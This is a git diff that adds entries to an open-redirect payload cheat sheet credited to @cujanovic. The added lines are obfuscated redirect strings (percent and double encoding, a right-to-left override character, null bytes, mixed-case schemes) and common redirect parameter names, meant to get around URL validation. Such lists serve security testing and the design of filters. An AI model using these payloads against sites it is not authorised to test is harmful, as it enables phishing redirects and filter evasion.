diff --git a/cheatsheets/open-redirect.md b/cheatsheets/open-redirect.md index 74b5215..d1c8419 100644 --- a/cheatsheets/open-redirect.md +++ b/cheatsheets/open-redirect.md @@ -12,10 +12,26 @@ //www.google.com/%2f%2e%2e ``` +``` +%2F%2Fgoogle.com%2F%2F +``` + +``` +%25%32%65google.com +``` + ``` //www.google.com/%2e%2e ``` +``` +@%E2%80%AE@google.com +``` + +``` +//;@google.com +``` + ``` //google.com/ ``` @@ -28,6 +44,22 @@ //\google.com ``` +``` +hTTp://google.com +``` + +``` +hTTp%3a%2f%2f%google.com%2f +``` + +``` +HtTp://google.com +``` + +``` +//google%00.com +``` + ``` /\victim.com:80%40google.com ``` @@ -158,6 +190,19 @@ /login?to=///{target} ``` +``` +?target={target} +``` + + +``` +?checkout_url={target} +``` + +``` +?dest={target} +``` + **Open Redirect Payloads** by @cujanovic